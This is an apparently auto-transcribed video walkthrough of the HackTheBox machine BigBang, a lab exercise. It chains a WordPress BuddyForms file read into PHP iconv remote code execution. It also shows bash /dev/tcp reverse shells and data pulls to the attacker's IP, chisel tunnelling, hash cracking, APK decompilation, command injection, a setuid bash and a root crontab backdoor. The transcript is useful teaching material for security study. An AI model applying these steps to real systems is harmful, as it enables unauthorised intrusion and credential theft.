text: What's going on YouTube? This is IPSC and we'll be doing Big Bang from Hack the Box which has one of my favorite footholds in a while. Because before doing this box, I had no idea that file get contents in PHP could lead to remote code execution. And the foothold starts with just that. It's a file disclosure vulnerability and a WordPress plugin. And the plug-in author showed it's possible to get rce on PHP versions before 8 via uploading a far archive, which honestly I've never done, so I'm not exactly positive how that one works. But it doesn't matter because for this box we're running uh PHP version 832 which is vulnerable to a buffer overflow. So we'll fix up the proof of concept exploit script which will perform the buffer overflow on filegate contents call with the np to get a shell and then from there we have some lateral

title: HackTheBox - BigBang


text: movement via cracking credentials and reversing a mobile application to find a vulnerability in another web app for root. So with that being said let's just jump in. As always we're going to start off with an end map. So - SC for default scripts SV enumerate versions-v for double verbose. This gives us things like the TTL O8 up and off form the end map direct and call it big bang and then the IP address of 10101.52. This can take some time to run. So I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22 and the banner tells us it's an Abuntu server. We also have HTTP on port 80.

title: HackTheBox - BigBang


text: It's running Apache and the banner tells us it's a Debian server. So we have a mismatch between OSS on HTTP and SSH.

title: HackTheBox - BigBang


text: Additionally, if we look at the TTL, we see port 80 has a TTL of 62 and SSH 63.

title: HackTheBox - BigBang


text: So there is one extra hop for HTTP. So most likely this is going to be a different box or Docker container or some type of virtualization. Um we also see the web page is directing us to blog.bigbang.htb. So, let's go ahead and check this out. So, I'm going to add that to my host file. So, pseudo v etsy host. And then we can add 10 10 1152. And I'll add the blog. And I'm also going to uh just add the host name bigbang.htb. So, let's take a look at the page. So, http blog bigbang.htb. And we have a page. We have big bang the best physics university.

title: HackTheBox - BigBang


text: And looking at the links, well, this about us does not click. Nothing happens there. Uh, scrolling down, we have Stephen Hawking, which is the teacher researcher reviews. This looks very much like WordPress to me. If I press control-U to look at the source code, and we can see there is a WP-inccludes, so we know we're dealing with WordPress. And I'm going to start a WP scan off right away. So, we'll do WP scan-h. And then I'm going to do enumerate all plugins. And then I also like using aggressive detection. So we'll do uh I think plugins-detection. So d-plugins-detection. Aggressive. And the difference between passive and aggressive. Passive will just get the page, look at the source code, try to identify plugins. Um aggressive will get a word list of valid WordPress plugins and try to brute force them. So I just like that because I plan on this taking a while anyways. So, I just want to be

title: HackTheBox - BigBang


text: 100% positive. And the URL is blog.bigbang.htb cuz nothing's worse than like thinking you ran a enumeration tool and then it not actually having the um results you want just because you missed a flag because you may not think to go back and run it again. So, with that running, let's go take a look at what else we have. Uh, scrolling down, we see something odd. It is probably presented you by Buddy Forms. So they have some type of review where we can uh put something in. And that's about it. If we look back at the source code and looked at buddy forms, we can get where the plugin is. And I normally like looking to see if there's a open directory listing. If we go to WP content plugins buddy forms, there is. You can also try just on the plugins directory to see if open directory listing is there. It's not. If it is, they could quickly enumerate all the

title: HackTheBox - BigBang


text: installed plugins. But I'm just going to click on a few files. I'm going to do um first the composer.json. Right now, I'm looking for any type of version string. We don't see it there. Then next, this is going to be the license. This is just a standard license, so we can ignore this.

title: HackTheBox - BigBang


text: And then we have the readme and we see it is version 277 and it's tested up to WordPress version 611 and requires PHP 53. So we have the exact version of this plugin installed. If we go back to the source code, we can also find the plug-in version here. Uh we see right here it's loading the CSS for WordPress version probably 654. But if we scroll down, eventually we'll see a uh buddy forms listed and it's specifying version 277. So there's two different ways you can identify the version that I know of.

title: HackTheBox - BigBang


text: There's probably additional ones. Um three if you include just running WP scan, but I'm guessing it does um something along the lines of what we did, right? So it's still brute forcing all the plugins. It is going to take a while. Uh looks like about 30 minutes because we did the aggressive mode. If we didn't have it aggressive, it would probably finish in like two minutes. Uh we can just see the time of how long it takes. Let's see once it gets started. Is it going to say uh all plugins? There we go. Not even two minutes. It took six seconds to um run it with passive detection. So that's just how much quicker it is. And we can see buddy forms, it's about 80% confident is version 277. So, I'm going to go look for a exploit and buddy forms. So, I'm going to do exploit buddy forms and then let's go over to Google and I'm going to

title: HackTheBox - BigBang


text: change something up in my Google search because there's a lot of just spoilers.

title: HackTheBox - BigBang


text: So, I'm going to change this to um search for January 1st, 2025. I think the box release sometime in January and all the CVEes we want is from 2024. So that's why I just did this to make a Google a bit more like um when the box released. So let's see. We have this Medium article talking about des serialization and buddy forms. And this exploit is really interesting. It taught me two things. Um and we'll get into that in just a second. But normally before doing this box when I saw oh we had um control over this image URL on file getit contents. This is only a file disclosure vulnerability, right? Because I didn't know there were chains in file git contents to get code execution. If you're running the most up-to-date version of PHP now, there probably isn't a chain. But this blog post is going to talk about one that uses the far archive

title: HackTheBox - BigBang


text: tool. And that will um just have the file get contents. It essentially hits the far archive. It tries to retrieve metadata. They can halt the compiler and run code essentially. I think I don't fully understand it, but that doesn't work in PHP8 because PHP8 had disabled all of uh processing the FAR metadata. At least that's to my knowledge. Um I'm only about 80% confident that's true. But uh yeah, so since we're running PHP version, let's see, do we have anything?

title: HackTheBox - BigBang


text: Um we have not found that yet. But if we went to our PO post and looked at the HTTP headers. So I'm just going to run this. Let's go over into Burpuite proxy repeater. And it's sending the page. We can see we're versioning running PHP version 832. So, a way of um getting the code execution is not going to work in this, but we can still use this for a file disclosure vulnerability, right? And they talk about we have to prepen the string GIF 89A because it's looking for uh GIF on the download. So, let's just get this over into Burpswuite and then we'll play with it, right? Let's see. It doesn't look like they give it to an easy copy and paste. So, I'll just type this out. So, let's go back here. Let's send this to a post and it is wpadmin admin ajax.php and then let's do action is equal to upload image from

title: HackTheBox - BigBang


text: URL. Then the next thing is a URL. So I'm just going to do etsy pass wd here. and then id is equal to one and accepted files is equal to image gif. Okay, so if we run this, it get failed. File type is not allowed. So I'm going to put this going over to my server. So we'll do http 101048 port 8000. I'm going to download the file test. So let's go ahead and create that. We'll make dubdubdub and I'm going to do echo please subscribe to test and then we'll do gif 89a which is the magic bytes to test two. So if we do file against both of those we can see test is just asky test two is image data. So if we run this we're going to get this file and it's going to say file type is not allowed. But if we do test two, uh, wait, file type is not allowed. Oh, it helps if we start the web server.

title: HackTheBox - BigBang


text: That is not a, um, great error message. You'd think it would say like cannot connect, right? So there we go. Test two status. Okay, it downloaded. Test. It did not. And if we look at test two, it gives us a URL. So, let's do a echo this jq. And this is just because I'm lazy and don't feel like escaping uh unescaping everything. Let's go back to proxy. Turn intercept off. And we probably should have intercept on. Let's see. Uh proxy settings allow it so we can intercept images too. Okay, we have it here. So, we can see when we make a request, it's going to uh we're no longer running our HTTP server. There we go. So, we make a request and it downloads it to 202541- a number. We're at 66. So if I do 1-66, we have our file. So what we want to do now is um be able to include files off the file system, right? And the issue is when we just specify a file, it

title: HackTheBox - BigBang


text: doesn't begin with the GIF magic bytes, right? If we look back at the source code, they have where is it? Uh file get contents right here. That's doing image data information mime. So if the file doesn't have the GIF header, then it fails. But we can use a PHP gadget chain. So I'm going to do PHP gadget chain filter. And this is the one I knew about. Eventually we'll use a different tool to do it that's a little bit better, but this is where my mind went to first, right? Um we normally use this gadget chain on includes to add like the um PHP tag, this like question mark PHP and then run our code here. But we can just use it to um add GIF 89A. Right? So we can do gif uh git clone and put in the URL and let's see python 3. What is the file? PHP gadget chain. I think we do d-chain gif 89a. There we go. So, we have this and

title: HackTheBox - BigBang


text: it uses all these I converts to um make characters and maybe we'll go into that a little bit more later, but uh I don't fully understand that. I just know you do a bunch of these UTF conversions and it eventually leads you to the characters that you want. Right. So now I'm going to do etsy pass WDd and we see uh oh resource is equal to just etsy pass wd there we go it downloaded file 67 so let's go here we will download 67 and we have the passd file now we have gif 89a then it has some junk here just because all the i converts didn't work that well. And we don't have the end of the file. So, we missed some of the end. I think that's probably no login. So, we missed five characters, I want to say. And that's probably because we appended to the prepended to the string. So, let's try grabbing the config file. So, let's do

title: HackTheBox - BigBang


text: wp-admin. Uh, no, it's wp-config.php. And that failed. I'm going to go up one directory and try to include it. There we go. We have it. File 68.

title: HackTheBox - BigBang


text: So, let's go 68. And we have the PHP uh WordPress configuration. We see the database is WordPress user WP user password WP password. The host, this is a default Docker network, the 17217. And then we also have all the secret keys. So, we could potentially craft a cookie. I'm not positive about this. I think if we knew the user's like password hash, um, we could then craft a cookie. I'm not positive it actually stores the session or it's all object- based. But, um, I want to say part of the WordPress cookie is HMAC signed with like four characters of a user's password. But regardless, if you ever get these, um, things of WordPress and you get stuck, maybe search the internet, see if you can craft a cookie or something like that. Not something I'm positive about. haven't done it. But normally when you have all the secrets to cookies, bad things can happen,

title: HackTheBox - BigBang


text: right? And if your WordPress gets compromised, you probably should update all these variables just because the attacker has all your secrets. But let's go and go back to doing some more research. So this exploit became dead in the word waters because we're running a version of PHP that doesn't support this for serialization. But if we go back to our exploit or our Google search, I'm just going to add V277 and see if we have anything. Um, is this on the search? Is it buddy forms exploit? Oh, no, never mind. This is the article I was looking for. This ambiotics um article. And I'm not going to do this article justice because if we look, the reading time is 45 minutes. Um, and also this is only part one. There's part two and three. So, uh, definitely can't go over this whole article. I would definitely recommend reading it because

title: HackTheBox - BigBang


text: it is good and they go over lots of details about how they found things and such. But, um, right here they're talking about the file read primitive, the file get contents and normally you can't get like code execution, right?

title: HackTheBox - BigBang


text: Um, now they're talking about the filters and they're talking about what you can do when a lot of times when we use these filters, we just abuse the B 64 in code. So you can leak piece of the source code on a PHP include, right? But there's so much more you can do with includes or PHP filters. Um, right here they're doing conversions and then there's other conversions like upper, lowercase, rotate 13 and I convert. And this icon convert is what they use to um prepend to append strings. Right? So we can see this complex filter. What it looks like is really just a bunch of I converts to print the string hello world to pass WD. And if we look this the output hello world exclamation exclamation exclamation. So u all these I converts are just a confusing way to print characters.

title: HackTheBox - BigBang


text: And I think the author was making like a thing to brute force all these I converts to lead to what characters it would print because it's not really straightforward on how to do this. You're just dealing with numbers in like um decimal or octal format and then doing conversions and hoping it lands how you want. Right? So they built a program to kind of fuzz this and get all the characters they want. And when they did that, eventually PHP crashed and they found a bug in GIB C and the Icon convert API that um was I want to say memory corruption vulnerability or something like that. And they found a way to chain that in order to get code execution. And if we look if we go uh let's see was 837. There we go. Um they're talking about the exploit here. It's going to download proc selfm map so it can get

title: HackTheBox - BigBang


text: the address of PHP's heap and the file name of lib C. It downloads lib C gets the address of system and then performs the exploit. And this works against uh PHP 7 to837 which was 2024 and it's really reliable even though it's a binary exploit because we can leak all the memory addresses and things like that. They have a demo here of the exploit and they also wrote a tool called wrap to help um do what we showed in uh PHP gadget chain filter. So let's just download wrap wrap real quick because this does a little bit better job than what we did. there's going to be less characters um truncated and I don't know if it really matters that much but it's cool to show other tools. So I'm going to go in wrap wrap. Uh we have to uh create a virtual environment and then we'll source VM bin activate pip 3 install. It needs the 10 library to run

title: HackTheBox - BigBang


text: this. So that's what I'm just installing. And that's just a web exploitation helper thing. I don't know much about it, but this author really does like it. So let's see. We need do wrap wrap and then we can do give it the path. So let's just do etsy pass wd. The prefix we need gif 89a. The suffix we're not going to give anything because we don't want to um append anything. And then nb bytes. This is going to be how many bytes we read. And if you don't give it a suffix, you don't have to give anything, right? I'm going to give it a suffix here. We can see it's dumping zero bytes from Etsy passd. Give it 10, it dumps 18 bytes. So, um, if you don't give it a suffix, then you can just put zero for NB. So, let's grab a new chain and I'm going to copy this. And then let's go over to our exploit. And I'm just going to paste the new

title: HackTheBox - BigBang


text: chain here. And the file is going to be 69. So the old file was 67. And then we have the new file at 69. And we see GIF 89A. It's not putting that junk afterwards because it did a little bit of better job handling padding and things like that. And then also if we go down we see no loggy. It's just missing the n. And over here we have no. So wrap wrap does a little bit better job at um prepending things. I think if we wanted the whole passd, we may be able to do it if we add the suffix as well, but um that really doesn't matter. So let's go back over to their blog post.

title: HackTheBox - BigBang


text: And I think it's near the bottom of this that they release a tool called C next, which is more of a library. Uh let's see, GitHub. There we go. So, let's download this. And we're going to have to make some modifications to it for it to work. So let's just do cd dot uh get clone this go nc next pip 3 install-r requirements and then we will open up zed and start looking at the code once this installs um the library itself I think it just finished as I was about to go and explain it um it will give you a class that you pretty much just have to change up with your payloads. So that'll make more sense once we open it hopefully. Uh C next exploit.py. Here we go. So this class remote, this is going to be the main thing we have to edit. There's going to be a few other minor things, but right here um is what we have to do. And I don't know why we have a download and send. Um but download you

title: HackTheBox - BigBang


text: can see we'll just eventually call uh send. So what we need to do is have um the I'm trying to think the best way to do this. I guess on send we will send the request to make the download. So let's do data is equal to and by like what I just said was um send will be this part of the payload. So I'm going to grab this first and I'm going to call this the GIF chain and we'll get rid of resource because we're going to put the file there. And then data. This is going to be all of the things. So we need action. So action then the URL is going to be gift chain plus path. That seems fine.

title: HackTheBox - BigBang


text: Then we need ID one and accepted files. And was it image/gif? Is it images or image? Image. There we go. That seems good. We can do a data here.

title: HackTheBox - BigBang


text: And nope, it needs to be data is equal to data. Okay, that looks fine. If this piece doesn't work, then we probably have to add the header. I'm not sure if request would do that automatically, but the content type header we may have to add. I don't think we do. So, let's see the path. Don't think we have to do that. So we send the path and this is going to give us a response of the data. So now we have to extract the URL from this. So we can do URL is equal to response.json and that is going to be the response piece. So we can do response like that. And then if not URL starts with HTTP, we'll raise a error message. Um, I wonder if I should just return nothing.

title: HackTheBox - BigBang


text: That should be fine, I think. So, we're making sure we get a HTTP here. And now we can do a download.

title: HackTheBox - BigBang


text: So I'm going to say um data is equal to self session get the URL content and then let's do return data and we're going to chop off the last or the first six bytes because the first six bytes is going to be GIF 89A and I I think that should work for more uh the most part. So let's do Python 3 C next exploit http blog bigigbang.htb wpadmin admin ajax.php and I'm just going to do ID. I don't think we get the results of it at all. So, um I'm just doing that because um I want to see the exploit work before we put the shell ed 40. So, we're missing two characters here. I thought we only missed one. It looks like we're missing two. Uh let's see. Expected test string. So, I'm going to swap these around. So, we're saying if text not in result. I'm just going to do if result not in text because result is going to be slightly smaller and that should be

title: HackTheBox - BigBang


text: fine. Run this. Data wrapper works. PHP wrapper does not. So let's do uh wrapper does not. Is this filter?

title: HackTheBox - BigBang


text: Nope. Here's this one. So what are we doing here?

title: HackTheBox - BigBang


text: Putting a filter here. Check token. What is check token doing uh result safe download? I'm just going to print text.inode and we will print result. Save that. Run it. And same thing.

title: HackTheBox - BigBang


text: So let's now say um if result in text.in code return true else return false. That should be fine. Save that. Run it.

title: HackTheBox - BigBang


text: invalid URL somewhere target is not reachable. So when we get to this um third one let's see did raise print. Let's do uh we'll print URL and cyst.exit run it again. I did the exit just so um we don't get that whole stack trace. So let's see after we run the filter it doesn't work. So here it's testing zib.

title: HackTheBox - BigBang


text: See, I'm just going to try commenting that out first and see if it works without any compression there. Run it. Data filter seems to be working. And we have an elf parse error. And this is probably because it's downloading lib C, but then we're missing some bytes is my guess. So if we look for the lib C download, see where do we download it?

title: HackTheBox - BigBang


text: Right here. What I'm going to do is I'm just going to write some null bytes the end because we don't need the full lib Z file. So we'll do lift with open and we want to append binary instead of um read and then we're just going to do f.right and write some null bytes. So f.ight. I wonder if we can just do like that. uh times we'll do 16 I guess we have to encode that. There we go. Because system address is going to be relatively early in the file. That's why I think I can just um put a bunch of blank bytes and have it work. And we get exploit failure. So maybe we can't just make it that easy. Let's try it again. Exploit failure. So let's go and send this through burpuite. And I have an idea what's going on. Let's do self. session proxies is equal to HTTP HTTP 127001 8080. There we go. Run

title: HackTheBox - BigBang


text: this. And we should be seeing this go through Suite. We do.

title: HackTheBox - BigBang


text: So file type is not allowed and I think it may be some of these um percents we have to URL encode this. So let's go back to our payload and what is it? Is it URL? I think it's URL. URL quote plus is that it seemp import URL lib. Oh, ural lib.parse URL lib like that.

title: HackTheBox - BigBang


text: Run this again. Let's see if it says success. Triggering. There we go. So, here is the payload that did not work. There's the payload that did. Can we quickly eyeball and see what's different?

title: HackTheBox - BigBang


text: Yeah, we're double URL encoding everything. So, um, this one works. This does not. Um, not exactly sure why we needed it, but we did. And now let's try putting a reverse shell. So, I'm going to do b- c- i dev tcp 1010 148 9,0001 zero and one like that.

title: HackTheBox - BigBang


text: Do we have a netcat shell? We do. So, let's go ahead and run this. And I did not expect that it worked when we did ID and then we switch it over to this and it failed. Triggering Okay, seems like it worked. I don't know exactly what we have where it's not exactly 100% reliable, but uh we got a shell. That's good. So, Python 3- C import pty pty spawn bin bash uh script- q dev null bash. I think that will give me script- q devnull. There we go. ST2i raw minus echo foreground. And we should have everything we need. Awesome. And tab autocomplete does work. So what we want to do is uh probably dump all the user hashes, right? because we've already read this WP config file and we have the database information. So, let's do a my SQL command not found. So, we have to get my SQL over to this box or a chisel over to the box so we can set up

title: HackTheBox - BigBang


text: a tunnel in order to access my SQL. So, I'm going to go in dubdubdub. Do we still have that running? We don't. Uh, CP opt server. Uh, let's see what is the address of it.

title: HackTheBox - BigBang


text: 1721701. So, let's do wget http 10 10 10 148 8000 chisel and then we'll make it executable. Uh, we'll do it down here, I guess. Let's see. Server allow reverse port 801.

title: HackTheBox - BigBang


text: Chisel client 10148 80 8001 and we'll say reverse 3306 goes to 172 I don't know why I did a quote there I think it's R colon 3306 1721701 3306 Um let's Move chisel to vertemp. There we go. We are connected. So I should be able to do my SQLU. I think it was WP user WP password WP password. There we go. Use WordPress.

title: HackTheBox - BigBang


text: Select star from WP users. It's a lot of data. Let's do describe. WP users. Select user login user pass from WP users. There we go. So, let's grab these. I'm going to go over to the Kraken, which is just a box I have hashcat installed on. So, we do vashes bigbang.wordpress. Paste this. Uh, let's replace the pipes with colons. And then clean this up a little bit. There we go. Dot slash hashcat. And then um I think it's hashes then op word list rock. I may have had that backwards. Maybe it's word list then hashes. We'll find out in a second. It is going in autodetect mode. Uh no matches. Oh, we have to do um d- user because we put username colon the hash. Uh so there we go. is now attempting to crack. And we can see it cracked. Did it get any dash show? Doesn't look like it got any. Did I copy that correctly?

title: HackTheBox - BigBang


text: Oh, there we go. I think I hit C instead of S when I tried to do status. That's definitely what happened and it paused my um hashcat. But we have shocking is password of quantum physics. So, let's go ahead and um try this out. So, S8 shocking at bigbang.htb put in quantum physics and we get logged in. Awesome.

title: HackTheBox - BigBang


text: So, the first thing I always like doing is just a psef forest to see what's running on this box, right? And this really suspicious thing. This is definitely our shell. We can see we got bash, then we got chisel, but we see a few docker containers running uh my SQL. Then we also have a graphana container.

title: HackTheBox - BigBang


text: There's root running this satellite um app.pycript which we don't know exactly what that is. And let's see is there anything else really? It doesn't look like it. This is just going back all into the system services. So let's look at running ports. So if we look we have SSH uh HTTP. They have a bunch listening on 127. I don't know what 37391 is. We have 3,0990 that is the my SQL. So if we do a curl localhost 3000 we can see we get directed to slash login and then 9090. Let's see exactly what that is. That is going to be um not found. So let's see. I'm guessing 3,000 since um this is work zug. So, this is probably going to be the satellite.py um app just because when we did the PS uh we know that's Python. I don't know exactly what Graphana is coded in, but just because 9090 is giving a Python banner. I'm guessing

title: HackTheBox - BigBang


text: that's the Python app and 3000 is going to be uh Graphfana. So, we want to find where any type of storage is. I'm going to go in opt and there's data. We look at op data. There is a graphana. DB. So if we do SQLite 3 graphana DB, uh, it's not installed. So we have to copy this over to our box. So let's do nvnmpp 90001 over to um graphfana. Db. Then we can cat graphana. Db, pipe it to devtcp 101048 9,0001. And that should download it. And we can do SQL 83 graphana dump. And we can start getting the password hashes. Is this it? That's not a hash. Uh, let's see. Don't know exactly how it stores them. Let's do gp- i password. Let's do less. Search for password. Migration log. Here we go. This is probably what we want. Let's see. Create table user. And here we go. We have a few password hashes. Now we have password

title: HackTheBox - BigBang


text: salt rand. So we have to build this um password hash. And let's see. I know I've done it before, but let's just do graphfana to hashcat to see if there's already a script. It looks like there is. So I'm doing a get clone. Download this does give usage. See hashes encode password. So it wants it in hashcat wants this format. See what format do we give it? Oh it says right here hasha salt.

title: HackTheBox - BigBang


text: So, let's go back here and I guess password and then salt. I'm guessing rans and stuff we don't need. There's no hash table. Let's see. Select password salt from user. Okay. See is it username? Adjust name. I'll do Yeah, we'll do name. Email. That's better.

title: HackTheBox - BigBang


text: Okay, we can grab this and then B do hashes.

title: HackTheBox - BigBang


text: Get rid of the email and it wanted comma Python 3 Graphana hashes. There we go. And we should put the emails back. A dash O. Uh, we'll call this big bang.

title: HackTheBox - BigBang


text: Graphana. See, the first one was admin and then GHubble. Admin G Hubble. Hopefully, it printed them out in the um correct order. We can copy this. Go back to the Kraken. Bashes big bang.

title: HackTheBox - BigBang


text: Graphana. Paste hashcat opt word list rocku d- user. And let's see if we get any cracks. So it looks like it's testing. And there is one and its password is big bang. So let's go ahead and go back to our box. I can find out where I'm sshed in at. Um maybe we don't have an SSH connection. Oh, there it is. Cat Etsy pass WDD. The only other user is developer. See, select star from user and G Hubble. The name is developer. So, let's go ahead and um try this password. So, you can su developer big bang. And we get logged in.

title: HackTheBox - BigBang


text: and developer has a file called Android or a directory and there's an APK file.

title: HackTheBox - BigBang


text: So let's download this APK file. So we'll do nlvnmpp 90001 satellite cat this to devtcp 1010148 90001. Okay. And then make the I'm going to call it apk 7zx. And let's extract the satellite. And then we have um few files. What I'm going to do is a GP and I'm going to grab for big bang.htb on every file and classes.ex matches. So I'm going to do jad x and this is going to decompile classes.ex- index dash O for output pwd is it d yeah I think d is where you write the files forget exactly what it stands for but there we go we have a few more files that have been extracted I'm going to rerun my gp and we can see big bang.htb HTB exist in uh three locations. So first we're going to go look at this file. So let's go vim bigbang.htb. If I can type correctly. So this is going to be login. So we do app.bigbang.htb port 9090

title: HackTheBox - BigBang


text: login. We post JSON data. And where are we writing?

title: HackTheBox - BigBang


text: JSON. So that's once it logs in, it's running command. I was wondering if it would tell us what it writes. We may have to go look at an object or just hit 9090 um login and see what happens. So let's do that real quick.

title: HackTheBox - BigBang


text: Um let's go back to here. And I'm going to hit squiggly C, but it's going to be the first thing I hit on a line. And that's going to open up this SSH prompt. And I can say um listen on 9090 forward it to 127001 9090. And what that's going to do is open this up. So if we curl local host 9990 doesn't exist. Um, we need a dash L dash L. Oh, what the hell? DL L 9090 127 001 9090 like fourth times the charm. There we go. Foring port. And now we have it. So, I'm just going to do -x for proxy. Forward it to local host 8080. Let's make sure burp suite is listening. Intercept on for this. Send it to repeater and we need to send this as a post request. We're going to post to login and the content type is application JSON.

title: HackTheBox - BigBang


text: and it's missing username or password. So, let's just do username developer and then password big bang. We're just trying the credentials we have and we get an access token. So, this I'm going to write this as login. So, let's see what we can do on this um app. See where we save that data to Big Bang here.

title: HackTheBox - BigBang


text: Yep. So, let's take a look at the other files. So, I'm just going to go to this one. Let's see. So, this is hitting command. It's a post. we have to send um the token. So let's copy this. This will be command command and then it was what?

title: HackTheBox - BigBang


text: Um, I'll do it lower authorization bearer take that invalid command. And I think this is case sensitive. We had a lowercase B here. Um, it errors out. But invalid command means we're successfully logged in, able to hit this endpoint. So let's see. Does this tell us how to use this command? Um, there it is. So we have a JSON string command send image output file and then something and you could also use like Jennyotion run the application and um intercept it and do dynamic analysis if you want if you do ipsc.ro rocks. Let's see.

title: HackTheBox - BigBang


text: APK of Android. I would go watch this video, intercepting Android app traffic with Purpuite where I walk through all of that, but it's a bit of a pain getting the environment stood up. Um, so I like just being able to uh decompile it and then look at it that way. If it was like using a library like flutter or something that makes decompil uh decompilation hard then obviously I would have to go and do dynamic analysis but it did not in this case. So let's see we need command and output file. So we can do command was it send file and output file devshm test invalid command send image output file must be provided. It's an underscore. There we go. And we get error generating image. We could play around with this a lot. Um so command uh this needs to be send image. If we put special characters uh it contains dangerous characters and eventually we

title: HackTheBox - BigBang


text: could find one um that works right. So like if we did a line break here sleep one plus is a dangerous character. But we can see now that request took a second. So this is trivial command injection. But the easiest way to find this if you didn't want to just take a guess at functionality would be uploading the program Peace Spy to this box. So let's do that real quick and show you what it looks like. So we can do peace by GitHub. Uh let's download this because I don't think I have it on my box. It's downloading. We can disable that. Let's just download the binary beast by 64.

title: HackTheBox - BigBang


text: download. Let's see. We have the dubdubdub server here. So let's do move downloads peace by and then over here let's do verte wget get http 10 10 10 148 8000 p by 64. Let's start the web server.

title: HackTheBox - BigBang


text: chod plus x. Okay, so now psp is running. I'm going to give it a second so it can just um watch the file system. And then when I run this command, we can see it is running image tool get image and then devshm test. And because I see this bin sh- C, that means it's running the um full shell. If it did not have this, then we wouldn't be able to do um a lot of command injection. But because we're doing bin bash essentially and then uh printing the command, it has a full bash shell and that's what enables everything. Um let's see. I can show this real quick. Let's close that. We don't need this anymore.

title: HackTheBox - BigBang


text: Let's do sh developer at bigbang.htb big bang python 3 import subprocess subprocess dot is it run who am I?

title: HackTheBox - BigBang


text: So we can see there's no bin sh right it's just running who am I now if I add the shell is equal to true flag to this uh there we go we can see it has now been sh- C. So that's what the shell true is doing is it's wrapping who am I in a bash shell and that's what enabled the command injection. It's filtering for a lot of the special characters, but a line break is just like enter and then run another command. So that's what we did here. So we can do sleep two and that just works, right? So we can't just put a bash shell because that's going to have special characters in itself. But we could just um like copy bin bash to var temp and then do a chown root root on var temp bash. So lsla v temp bash. We can see it's owned by me. Run this. Now it's owned by root. So now we can do a um chmod plus x to make it ex uh chmod

title: HackTheBox - BigBang


text: 4755 to make it set uid. And then run this. And now it's set UID. So if I just run this now, it should just switch me over to the root user do ID. And there we go. we are root. Now, if you wanted to um get this working without a shell, like manipulating the file system first as a user, you could probably use a dash like let's see something real quick. Please dash test. We're not getting invalid command.

title: HackTheBox - BigBang


text: So, we could do a curl http 1010148 8000 slash um what's the file we have listening uh pace by 64 dash o verteap I'm just going to write p real quick make sure this works it looks like it did lsla vertemp It does write. So we could cat Etsy cron tab and we could just write something here. So what I'm going to do is copy this. We'll wipe this whole thing. It doesn't matter because that's not doing anything special. Um normally when I do this, we'll do it. Um, whenever you like overwrite a file, it's always a good thing to um make sure you have a backup, right? So, we can do vron tab. Put this and then let's do a star star root b- c- i dev tcp 1010 148 9,0001 zero and one like that. Save it. And I think that's a good cron tab. So we'll start the server up and let's see. We're curling download cron tab and then write

title: HackTheBox - BigBang


text: to etsy chron tab. Run that. Looks fine.

title: HackTheBox - BigBang


text: NC LVMP 90001. Let's run date. Probably in 7 seconds hopefully we get a shell. As long as we did this cron tab correctly.

title: HackTheBox - BigBang


text: That looks fine. And there we go. We got a shell. So that would be a way you could do it if um you didn't want to abuse the fact that you're a low priv shell already and make something set UID. You could just write a cron. That's the easy way to get it. Um, you may be able to do an SSH key as well, but I always like doing crons because SSH keys are very picky on permissions and if SSH didn't exist, then you're kind of screwed, right? So, I find cron just to be a lot more reliable. But that's it. That's going to be the box. Hope you guys enjoyed it. Take care and I will see you all next

title: HackTheBox - BigBang